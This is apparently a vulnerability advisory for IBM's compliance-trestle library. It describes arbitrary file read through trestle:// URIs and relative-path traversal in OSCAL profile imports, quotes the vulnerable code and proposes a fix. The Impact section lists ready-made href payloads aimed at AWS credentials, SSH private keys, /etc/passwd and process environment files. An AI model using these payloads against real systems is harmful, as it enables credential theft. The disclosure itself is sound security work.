Description

compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed:

PT-001: trestle://../../etc/passwd — via trestle:// URI scheme

PT-002: ../../etc/passwd — via relative path in href

PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../...
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cache.py:194 — LocalFetcher (relative path handling)

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks...
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Root Cause:

Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd

No is_relative_to(trestle_root) check after resolve

TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)

Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"...
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PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())
...
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Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
...
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Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

CWE-22: https://cwe.mitre.org/data/definitions/22.html

OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/

compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

Credential Theft via OSCAL Import:

imports:
  - href: "trestle://../../root/.aws/credentials"
  - href: "trestle://../../root/.ssh/id_rsa"

System Reconnaissance:

imports:
  - href: "trestle://../../etc/passwd"
  - href: "trestle://../../proc/self/environ"

Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.

Dead Code Evidence: TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

Mitigation

Aliases

References